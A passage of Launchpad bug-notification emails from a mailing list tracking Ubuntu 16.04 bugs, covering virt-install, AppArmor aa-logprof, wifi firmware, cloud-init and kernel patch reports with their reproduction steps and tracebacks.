  The driver sha1-powerpc fails all tests in the crypto API test
  manager. The driver was not written with little endian support.

  The simplest steps to check the problem is to recompile the kernel
  with the crypto API test manager enabled (since it's disabled by
  default on Xenial) and then load the sha1-powerpc driver.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1629977/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1634304] Re: Unable to complete install: 'Couldn't find hvm kernel for Ubuntu tree

[Mattia Rizzolo]

** Also affects: virt-manager (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Also affects: virt-manager (Ubuntu Yakkety)
   Importance: Undecided
   Status: New

** Also affects: virt-manager (Ubuntu Zesty)
   Importance: Undecided
 Assignee: Dave Chiluk (chiluk)
   Status: Confirmed

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1634304

Title:
  Unable to complete install: 'Couldn't find hvm kernel for Ubuntu tree

Status in virt-manager package in Ubuntu:
  Confirmed
Status in virt-manager source package in Xenial:
  New
Status in virt-manager source package in Yakkety:
  New
Status in virt-manager source package in Zesty:
  Confirmed

Bug description:
  [Impact]

   * Users are unable to virt-install using xenial and newer isos.

  [Test Case]
   #!/bin/bash
  sudo virt-install \
  --connect qemu:///system \
  --virt-type kvm \
  --name labVM2 \
  --disk size=10 \
  --ram 2048 \
  --vcpus=2 \
  --graphics vnc \
  -l /home/student19s/ubuntu-16.04.1-server-amd64.iso \
  --os-variant ubuntu16.04

  * Bad output 
  WARNING  Graphics requested but DISPLAY is not set. Not running virt-viewer.
  WARNING  No console to launch for the guest, defaulting to --wait -1

  Starting install...
  Retrieving file version.info...   
  |   58 B  00:00:00 
  ERRORCouldn't find hvm kernel for Ubuntu tree.
  Domain installation does not appear to have been successful.
  If it was, you can restart your domain by running:
virsh --connect qemu:///system start labVM2
  otherwise, please restart your installation.

  * Expected output 
  Starting install...
  Retrieving file version.info...   
   |   58 B  00:00:00 
  Retrieving file linux...  
  | 6.7 MB  00:00:00 
  Retrieving file initrd.gz...  
  |  36 MB  00:00:00 
  Allocating 'labVM2-2.qcow2'   
  |  10 GB  00:00:00 
  Creating domain...
  |0 B  00:00:00 
  Domain installation still in progress. Waiting for installation to complete.

  [Regression Potential]

   * Patch is accepted into upstream virt-install

   * I have run virt-install against both iso's and netinstall trees
  *(which previously worked and now continue to work).

  [Other Info]

  
  + Original Description 
  I am trying to create a new virtual machine with Virtual Machine Manager but 
keep receiving this error "Unable to complete install: 'Couldn't find hvm 
kernel for Ubuntu tree". The OS guest I am trying to install on the VM is 
Ubuntu server 14.04.4, 64 bit. The host OS (where the virtual manager is 
installed) is KUbuntu 16.04 .

  Below is the full message that appears after completing the 5-steps VM
  creation process and clicking on finish on virt-manager:

  Unable to complete install: 'Couldn't find hvm kernel for Ubuntu
  tree.'

  Traceback (most recent call last):
    File "/usr/share/virt-manager/virtManager/asyncjob.py", line 90, in 
cb_wrapper
  callback(asyncjob, *args, **kwargs)
    File "/usr/share/virt-manager/virtManager/create.py", line 2277, in 
_do_async_install
  guest.start_install(meter=meter)
    File "/usr/share/virt-manager/virtinst/guest.py", line 482, in start_install
  self._prepare_install(meter, dry)
    File "/usr/share/virt-manager/virtinst/guest.py", line 303, in 
_prepare_install
  self.installer.prepare(self, meter)
    File "/usr/share/virt-manager/virtinst/installer.py", line 200, in prepare
  self._prepare(guest, meter)
    File "/usr/share/virt-manager/virtinst/distroinstaller.py", line 451, in 
_prepare
  self._prepare_kernel_url(guest, fetcher)
    File "/usr/share/virt-manager/virtinst/distroinstaller.py", line 360, in 
_prepare_kernel_url
  kernel, initrd, args = store.acquireKernel(guest)
    File "/usr/share/virt-manager/virtinst/urlfetcher.py", line 577, in 
acquireKernel
  {"distro": self.name, "type" : self.type})
  RuntimeError: Couldn't find hvm kernel for Ubuntu tree.

  And the package data are

  $ dpkg -s virt-manager
  Package: virt-manager
  Status: install ok installed
  Priority: optional
  Section: admin
  Installed-Size: 7285
  Maintainer: Ubuntu Developers 
  Architecture: all
  Version: 1:1.3.2-3ubuntu1.16.04.2
  Depends: dconf-gsettings-backend | gsettings-backend, python:any (>= 
2.6.6-7~), python2.7:any, python-gi, python-gi-cairo, python-dbus, 
python-requests, librsvg2-common, python-libvirt 

[Group.of.nepali.translators] [Bug 1582374] Re: Log contains unknown mode senw

[Christian Boltz]

"Real fix" (which decides about file vs. network instead of ignoring
these events) implemented in bzr trunk r3594 and 2.10 branch r3369.

** Changed in: apparmor
 Assignee: (unassigned) => Christian Boltz (cboltz)

** Also affects: apparmor/2.10
   Importance: Undecided
   Status: New

** Changed in: apparmor/2.10
Milestone: None => 2.10.2

** Changed in: apparmor/2.10
   Status: New => Fix Committed

** Changed in: apparmor/2.10
 Assignee: (unassigned) => Christian Boltz (cboltz)

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1582374

Title:
  Log contains unknown mode senw

Status in AppArmor:
  Fix Committed
Status in AppArmor 2.10 series:
  Fix Committed
Status in apparmor package in Ubuntu:
  Fix Released
Status in apparmor source package in Xenial:
  Fix Released

Bug description:
  [Impact]

  AppArmor policy developers cannot use aa-logprof without it exiting
  with a traceback on certain denial messages.

  [Test Case]

  $ echo 'type=AVC msg=audit(1463403689.381:267599): apparmor="ALLOWED" \
  operation="file_perm" profile="foo" pid=13215 comm="apache2" \
  laddr=:::192.168.1.100 lport=80 faddr=:::192.168.1.100 fport=45658 \
  family="inet6" sock_type="stream" protocol=6 requested_mask="send" \
  denied_mask="send"' > /tmp/log
  $ mkdir -p /tmp/profiles && printf "profile foo {\n}" > /tmp/profiles/foo
  $ aa-logprof -f /tmp/log -d /tmp/profiles

  Expected output of the last command is:

  Reading log entries from /tmp/log.
  Updating AppArmor profiles in /tmp/profiles.

  [Regression Potential]

  There is little potential for regression. This "hotfix" could result
  in some slight confusion because the problematic denial messages will
  simply be ignored but it allows aa-logprof to do its intended job
  without unexpectedly exiting.

  [Original Report]

  Ref #1243932.  Same title but appears to be different cause.

  Ubuntu 16.04.  Error thrown on 'sudo aa-logprof'

  Python 3.5.1+: /usr/bin/python3
  Mon May 16 20:13:30 2016

  A problem occurred in a Python script.  Here is the sequence of
  function calls leading up to the error, in the order they occurred.

   /usr/sbin/aa-logprof in ()
     42
     43 if profiledir:
     44 apparmor.profile_dir = apparmor.get_full_path(profiledir)
     45 if not os.path.isdir(apparmor.profile_dir):
     46 raise apparmor.AppArmorException("%s is not a 
directory."%profiledir)
     47
     48 apparmor.loadincludes()
     49
     50 apparmor.do_logprof_pass(logmark)
     51
  apparmor = 
  apparmor.do_logprof_pass = 
  logmark = ''

   /usr/lib/python3/dist-packages/apparmor/aa.py in do_logprof_pass(logmark='', 
passno=0, pid={13215: [['unknown_hat', 13215, '/usr/sbin/apache2', 
'null-www.xx.co.uk', 'PERMITTING', 'null-www.xx.co.uk'], 
['path', 13215, 'null-complain-profile', 'null-complain-profile', 'HINT', 
'PERMITTING', {'::r', 'r'}, '/proc/13215/attr/current', '']], 13697: [['path', 
13697, 'null-complain-profile', 'null-complain-profile', 'HINT', 'PERMITTING', 
{'::a', '::w', 'a', 'w'}, '/proc/13697/attr/current', '']]})
   2184 ##repo_cfg = read_config('repository.conf')
   2185 ##if not repo_cfg['repository'].get('enabled', False) or 
repo_cfg['repository]['enabled'] not in ['yes', 'no']:
   2186 ##UI_ask_to_enable_repo()
   2187
   2188 log_reader = apparmor.logparser.ReadLog(pid, logfile, 
existing_profiles, profile_dir, log)
   2189 log = log_reader.read_log(logmark)
   2190 #read_log(logmark)
   2191
   2192 for root in log:
   2193 handle_children('', '', root)
  global log = [[['path', 13697, 'null-complain-profile', 
'null-complain-profile', 'HINT', 'PERMITTING', {'::a', '::w', 'a', 'w'}, 
'/proc/13697/attr/current', '']], [['unknown_hat', 13215, '/usr/sbin/apache2', 
'null-www.po4management.co.uk', 'PERMITTING', 'null-www.xx.co.uk'], 
['path', 13215, 'null-complain-profile', 'null-complain-profile', 'HINT', 
'PERMITTING', {'::r', 'r'}, '/proc/13215/attr/current', '']]]
  log_reader = 
  log_reader.read_log = >
  logmark = ''

   /usr/lib/python3/dist-packages/apparmor/logparser.py in 
read_log(self=, logmark='')
    402 self.add_event_to_tree(event)
    403 except AppArmorException as e:
    404 ex_msg = ('%(msg)s\n\nThis error was caused by the 
log line:\n%(logline)s' %
    405 {'msg': e.value, 'logline': line})
    406 # when py3 only: Drop the original 
AppArmorException by passing None as the parent exception
    407 raise AppArmorBug(ex_msg)  # py3-only: from None
    408
    409 self.LOG.close()
    410 self.logmark = ''
    411 return self.log
  global AppArmorBug = 
  ex_msg = 'Log contains unknown mode senw\n\nThis 

[Group.of.nepali.translators] [Bug 1577051] Re: aa-logprof fails with unknown mode "reweive"

[Christian Boltz]

** Changed in: apparmor
 Assignee: (unassigned) => Christian Boltz (cboltz)

** Also affects: apparmor/2.10
   Importance: Undecided
   Status: New

** Changed in: apparmor/2.10
   Status: New => Fix Committed

** Changed in: apparmor/2.10
 Assignee: (unassigned) => Christian Boltz (cboltz)

** Changed in: apparmor/2.10
Milestone: None => 2.10.2

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1577051

Title:
  aa-logprof fails with unknown mode "reweive"

Status in AppArmor:
  Fix Committed
Status in AppArmor 2.10 series:
  Fix Committed
Status in apparmor package in Ubuntu:
  Fix Released
Status in apparmor source package in Xenial:
  Fix Released

Bug description:
  [Impact]

  AppArmor policy developers cannot use aa-logprof without it exiting
  with a traceback on certain denial messages.

  [Test Case]

  $ echo 'Apr 30 21:53:05 nova kernel: [24668.960760] audit: \
  type=1400 audit(1462045985.636:2154): apparmor="DENIED" \
  operation="file_perm" profile="foo" pid=12529 comm="java" \
  laddr=:::127.0.0.1 lport=8080 faddr=:::127.0.0.1 fport=52308 \
  family="inet6" sock_type="stream" ^Cotocol=6 requested_mask="receive"  \
  denied_mask="receive"' > /tmp/log
  $ mkdir -p /tmp/profiles && printf "profile foo {\n}" > /tmp/profiles/foo
  $ aa-logprof -f /tmp/log -d /tmp/profiles

  Expected output of the last command is:

  Reading log entries from /tmp/log.
  Updating AppArmor profiles in /tmp/profiles.

  [Regression Potential]

  There is little potential for regression. This "hotfix" could result
  in some slight confusion because the problematic denial messages will
  simply be ignored but it allows aa-logprof to do its intended job
  without unexpectedly exiting.

  [Original Report]

  Ubuntu 16.04.

  Profiling apache tomcat.

  1) aa-genprof on the catalina.sh script that is used to start and stop tomcat.
  2) Start and stop tomcat.
  3) Scan and save the profile.
  4) aa-complain on the tomcat profile
  5) Start tomcat again and this time also send a http request to tomcat.
  6) Run aa-logprof which fails with this message

  Reading log entries from /var/log/syslog.
  Updating AppArmor profiles in /etc/apparmor.d.
  Traceback (most recent call last):
    File "/usr/lib/python3/dist-packages/apparmor/logparser.py", line 402, in 
read_log
  self.add_event_to_tree(event)
    File "/usr/lib/python3/dist-packages/apparmor/logparser.py", line 206, in 
add_event_to_tree
  e = self.parse_event_for_tree(e)
    File "/usr/lib/python3/dist-packages/apparmor/logparser.py", line 303, in 
parse_event_for_tree
  raise AppArmorException(_('Log contains unknown mode %s') % rmask)
  apparmor.common.AppArmorException: 'Log contains unknown mode reweive'

  During handling of the above exception, another exception occurred:

  Traceback (most recent call last):
    File "/usr/sbin/aa-logprof", line 50, in 
  apparmor.do_logprof_pass(logmark)
    File "/usr/lib/python3/dist-packages/apparmor/aa.py", line 2189, in 
do_logprof_pass
  log = log_reader.read_log(logmark)
    File "/usr/lib/python3/dist-packages/apparmor/logparser.py", line 407, in 
read_log
  raise AppArmorBug(ex_msg)  # py3-only: from None
  apparmor.common.AppArmorBug: Log contains unknown mode reweive

  This error was caused by the log line:
  Apr 30 21:53:05 nova kernel: [24668.960760] audit: type=1400 
audit(1462045985.636:2154): apparmor="ALLOWED" operation="file_perm" 
profile="/usr/local/apache-tomcat-8.0.33/bin/catalina.sh///usr/local/jdk1.8.0_92/bin/java"
 pid=12529 comm="java" laddr=:::127.0.0.1 lport=8080 faddr=:::127.0.0.1 
fport=52308 family="inet6" sock_type="stream" protocol=6 
requested_mask="receive" denied_mask="receive"

  An unexpected error occoured!

  For details, see /tmp/apparmor-bugreport-wj6gamog.txt
  Please consider reporting a bug at https://bugs.launchpad.net/apparmor/
  and attach this file.

To manage notifications about this bug go to:
https://bugs.launchpad.net/apparmor/+bug/1577051/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1647826] Re: intel 8260 doesn't work with linux kernel 4.8 when using ucode version 22

[Seth Forshee]

** Also affects: linux-firmware (Ubuntu Zesty)
   Importance: Undecided
   Status: New

** Changed in: linux-firmware (Ubuntu Zesty)
   Importance: Undecided => Medium

** Changed in: linux-firmware (Ubuntu Zesty)
   Status: New => In Progress

** Changed in: linux-firmware (Ubuntu Zesty)
 Assignee: (unassigned) => Seth Forshee (sforshee)

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1647826

Title:
  intel 8260 doesn't work with linux kernel 4.8 when using ucode version
  22

Status in linux-firmware package in Ubuntu:
  In Progress
Status in linux-firmware source package in Xenial:
  In Progress
Status in linux-firmware source package in Yakkety:
  In Progress
Status in linux-firmware source package in Zesty:
  In Progress

Bug description:
  The -22 microcode for the intel 8260 wifi adapter has compatibility
  issues with Linux Kernel 4.8 under certain hardware configurations.

  The iwlwifi module crashes resulting in wifi failing with "device not
  ready" and kernel errors reported in dmesg.

  [   10.691115] iwlwifi :6e:00.0: Microcode SW error detected.
  Restarting 0x200.

  Renaming the ucode file at /lib/firmware/iwlwifi-8000C-22.ucode to
  fallback to the -21 ucode resolves the issue and wifi begins working
  normally again.

  This is an issue with Linux kernel 4.8 on both yakkety and xenial, so
  the bug doesn't currently affect users on xenial, but will begin to
  after the 16.04.2 HWE release.  Kernel 4.4 is unaffected because it
  doesn't attempt to use the -22 ucode

  The failure doesn't necessarily affect all machines of a given model
  with the 8260, but I can reproduce it on multiple laptops when 64GB of
  RAM are installed (4x16GB).  The RAM itself does not appear to be an
  issue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux-firmware/+bug/1647826/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1642679] Re: The OpenStack network_config.json implementation fails on Hyper-V compute nodes

[Abhimanyu]

** Changed in: nova
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1642679

Title:
  The OpenStack network_config.json implementation fails on Hyper-V
  compute nodes

Status in cloud-init:
  Confirmed
Status in OpenStack Compute (nova):
  Fix Released
Status in cloud-init package in Ubuntu:
  Fix Released
Status in cloud-init source package in Xenial:
  In Progress
Status in cloud-init source package in Yakkety:
  Confirmed

Bug description:
  === Begin SRU Template ===
  [Impact] 
  When a config drive provides network_data.json on Azure OpenStack,
  cloud-init will fail to configure networking.

  Console log and /var/log/cloud-init.log will show:
   ValueError: Unknown network_data link type: hyperv

  This woudl also occur when the type of the network device as declared
  to cloud-init was 'hw_veb', 'hyperv', or 'vhostuser'.

  [Test Case]
  Launch an instance with config drive on hyperv cloud.

  [Regression Potential] 
  Low to none.   cloud-init is relazing requirements and will accept things
  now that it previously complained were invalid.
  === End SRU Template ===

  We have discovered an issue when booting Xenial instances on OpenStack
  environments (Liberty or newer) and Hyper-V compute nodes using config
  drive as metadata source.

  When applying the network_config.json, cloud-init fails with this error:
  http://paste.openstack.org/show/RvHZJqn48JBb0TO9QznL/

  The fix would be to add 'hyperv' as a link type here:
  /usr/lib/python3/dist-packages/cloudinit/sources/helpers/openstack.py, line 
587

To manage notifications about this bug go to:
https://bugs.launchpad.net/cloud-init/+bug/1642679/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1646204] Re: Kernel Fixes to get TCMU File Backed Optical to work

[Tim Gardner]

https://lists.ubuntu.com/archives/kernel-team/2016-December/081266.html
https://lists.ubuntu.com/archives/kernel-team/2016-December/081271.html

** Also affects: linux (Ubuntu Yakkety)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Yakkety)
   Status: New => In Progress

** Changed in: linux (Ubuntu Yakkety)
 Assignee: (unassigned) => Tim Gardner (timg-tpi)

** Also affects: linux (Ubuntu Zesty)
   Importance: High
 Assignee: Canonical Kernel Team (canonical-kernel-team)
   Status: Triaged

** Changed in: linux (Ubuntu Zesty)
   Status: Triaged => Fix Committed

** Changed in: linux (Ubuntu Zesty)
 Assignee: Canonical Kernel Team (canonical-kernel-team) => Tim Gardner 
(timg-tpi)

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1646204

Title:
  Kernel Fixes to get TCMU File Backed Optical to work

Status in linux package in Ubuntu:
  Fix Committed
Status in linux source package in Xenial:
  In Progress
Status in linux source package in Yakkety:
  In Progress
Status in linux source package in Zesty:
  Fix Committed

Bug description:
  == Comment: #2 - BRYANT G. LY  - 2016-11-30 12:16:05 ==

  Need all of these patches in Xenial 4.4 kernel and 4.8 kernel.

  Under review:
  https://www.spinics.net/lists/target-devel/msg13628.html
  [PATCH] target/user: Fix use-after-free of tcmu_cmds if they are expired

  Already Released in Yaketty but need it in Xenial:
  Released in Ubuntu-4.8.0-7.8:
  UBUNTU: SAUCE: Return TCMU-generated sense data to fabric module

  Released under: linux (4.8.0-28.30)

  [PATCH 1/3] UBUNTU: SAUCE: (noup) target/user: Use sense_reason_t in 
tcmu_queue_cmd_ring
  [PATCH 2/3] UBUNTU: SAUCE: (noup) target/user: Return an error if cmd data 
size is too large
  [PATCH 3/3] UBUNTU: SAUCE: (noup) target/user: Fix comments to not refer to 
data ring

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1646204/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1646204] Re: Kernel Fixes to get TCMU File Backed Optical to work

[Tim Gardner]

** Also affects: linux (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Xenial)
   Status: New => In Progress

** Changed in: linux (Ubuntu Xenial)
 Assignee: (unassigned) => Tim Gardner (timg-tpi)

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1646204

Title:
  Kernel Fixes to get TCMU File Backed Optical to work

Status in linux package in Ubuntu:
  Triaged
Status in linux source package in Xenial:
  In Progress

Bug description:
  == Comment: #2 - BRYANT G. LY  - 2016-11-30 12:16:05 ==

  Need all of these patches in Xenial 4.4 kernel and 4.8 kernel.

  Under review:
  https://www.spinics.net/lists/target-devel/msg13628.html
  [PATCH] target/user: Fix use-after-free of tcmu_cmds if they are expired

  Already Released in Yaketty but need it in Xenial:
  Released in Ubuntu-4.8.0-7.8:
  UBUNTU: SAUCE: Return TCMU-generated sense data to fabric module

  Released under: linux (4.8.0-28.30)

  [PATCH 1/3] UBUNTU: SAUCE: (noup) target/user: Use sense_reason_t in 
tcmu_queue_cmd_ring
  [PATCH 2/3] UBUNTU: SAUCE: (noup) target/user: Return an error if cmd data 
size is too large
  [PATCH 3/3] UBUNTU: SAUCE: (noup) target/user: Fix comments to not refer to 
data ring

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1646204/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1647477] Re: wifi broadcom does not work anymore

[Joseph Salisbury]

** Changed in: linux (Ubuntu)
   Importance: Undecided => High

** Tags added: kernel-da-key yakkety

** Also affects: linux (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Xenial)
   Status: New => Incomplete

** Changed in: linux (Ubuntu Xenial)
   Importance: Undecided => High

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1647477

Title:
  wifi broadcom does not work anymore

Status in linux package in Ubuntu:
  Incomplete
Status in linux source package in Xenial:
  Incomplete

Bug description:
  no wifi after upgrading to newest kernel 4.8.0-28
  ubuntu-bug linux reports 

  
  *** Неполадка в linux-image-4.8.0-28-generic
  Не удаётся сообщить о неполадке:
  Этот пакет не является официальным пакетом Linux. Пожалуйста, удалите все 
сторонние пакеты и попробуйте снова.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1647477/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1647587] Re: screen flickers randomly

[Joseph Salisbury]

Would it be possible for you to test the latest upstream kernel? Refer
to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest
v4.9 kernel[0].

If this bug is fixed in the mainline kernel, please add the following
tag 'kernel-fixed-upstream'.

If the mainline kernel does not fix this bug, please add the tag:
'kernel-bug-exists-upstream'.

Once testing of the upstream kernel is complete, please mark this bug as
"Confirmed".


Thanks in advance.

[0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.9-rc8


** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

** Also affects: linux (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Xenial)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu Xenial)
   Status: New => Incomplete

** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

** Tags added: kernel-da-key needs-bisect

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1647587

Title:
  screen flickers randomly

Status in linux package in Ubuntu:
  Incomplete
Status in linux source package in Xenial:
  Incomplete

Bug description:
  every 1 to 5 seconds screen flashes 1 to 3 times
  each flash is very short, may be 10 out of 60 frames per second
  if more than 1 flash, than time between flashes is about half a second
  the more activity the more flashes
  this happened also with 4.4.0-51 while 4.4.0-47 works without flickering

  version
  Ubuntu 4.4.0-53.74-generic 4.4.30

  release
  Description:  Ubuntu 16.04.1 LTS
  Release:  16.04

  lspci-vnvn.log attached

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-53-generic 4.4.0-53.74
  ProcVersionSignature: Ubuntu 4.4.0-53.74-generic 4.4.30
  Uname: Linux 4.4.0-53-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  hendrik1579 F pulseaudio
   /dev/snd/controlC0:  hendrik1579 F pulseaudio
   /dev/snd/controlC2:  hendrik1579 F pulseaudio
  CurrentDesktop: Unity
  Date: Tue Dec  6 09:09:58 2016
  HibernationDevice: RESUME=UUID=759e9aeb-bcba-451e-b96f-dea4dea216ed
  InstallationDate: Installed on 2016-07-28 (130 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  IwConfig:
   lono wireless extensions.
   
   enp4s0no wireless extensions.
   
   enx8000600fe800  no wireless extensions.
  MachineType: System manufacturer System Product Name
  ProcEnviron:
   LANGUAGE=de_AT:de
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_AT.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-53-generic 
root=UUID=512b101c-7fa3-4ea6-82e6-2dac5f7db543 ro quiet splash vt.handoff=7
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-53-generic N/A
   linux-backports-modules-4.4.0-53-generic  N/A
   linux-firmware1.157.5
  RfKill:
   
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/23/2016
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 2001
  dmi.board.asset.tag: Default string
  dmi.board.name: B150M-A
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: Rev X.0x
  dmi.chassis.asset.tag: Default string
  dmi.chassis.type: 3
  dmi.chassis.vendor: Default string
  dmi.chassis.version: Default string
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr2001:bd09/23/2016:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnB150M-A:rvrRevX.0x:cvnDefaultstring:ct3:cvrDefaultstring:
  dmi.product.name: System Product Name
  dmi.product.version: System Version
  dmi.sys.vendor: System manufacturer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1647587/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1647036] Re: Client does not ACK auth/assoc responses from Cisco AP3800

[Alberto Milone]

** Also affects: bcmwl (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Also affects: bcmwl (Ubuntu Trusty)
   Importance: Undecided
   Status: New

** Changed in: bcmwl (Ubuntu)
   Status: Triaged => In Progress

** Changed in: bcmwl (Ubuntu Trusty)
   Status: New => Triaged

** Changed in: bcmwl (Ubuntu Xenial)
   Status: New => Triaged

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1647036

Title:
  Client does not ACK auth/assoc responses from Cisco AP3800

Status in bcmwl package in Ubuntu:
  In Progress
Status in bcmwl source package in Trusty:
  Triaged
Status in bcmwl source package in Xenial:
  Triaged

Bug description:
  This client does not ACK Assoc Responses from a Cisco 3800.  Traces
  attached.

  - Model:Dell XPS13 9343
  - OS Version:Ubuntu 14.04.5 LTS
  - WNIC:Broadcom BCM4352 rev. 03 driver version 6.30.223.248
  - SSID:user.wifi (WPA2/dot1x )
  - MAC address:c4:8e:8f:f5:4a:7f
  -Cisco AP : 3800 (wave 2)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1647036/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1605799] Re: package virtualbox-ext-pack 5.0.24-0ubuntu1.16.04.1 failed to install/upgrade: [SRU] sub-processo script post-installation instalado retornou estado de

[LocutusOfBorg]

** Also affects: virtualbox-ext-pack (Ubuntu Yakkety)
   Importance: Undecided
   Status: New

** Also affects: virtualbox-ext-pack (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Changed in: virtualbox-ext-pack (Ubuntu)
   Status: Fix Committed => Fix Released

** Changed in: virtualbox-ext-pack (Ubuntu Xenial)
   Status: New => Fix Committed

** Changed in: virtualbox-ext-pack (Ubuntu Yakkety)
   Status: New => Fix Committed

** Changed in: virtualbox-ext-pack (Ubuntu Xenial)
   Importance: Undecided => Critical

** Changed in: virtualbox-ext-pack (Ubuntu Yakkety)
   Importance: Undecided => Critical

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1605799

Title:
  package virtualbox-ext-pack 5.0.24-0ubuntu1.16.04.1 failed to
  install/upgrade: [SRU] sub-processo script post-installation instalado
  retornou estado de saída de erro 1

Status in virtualbox-ext-pack package in Ubuntu:
  Fix Released
Status in virtualbox-ext-pack source package in Xenial:
  Fix Committed
Status in virtualbox-ext-pack source package in Yakkety:
  Fix Committed

Bug description:
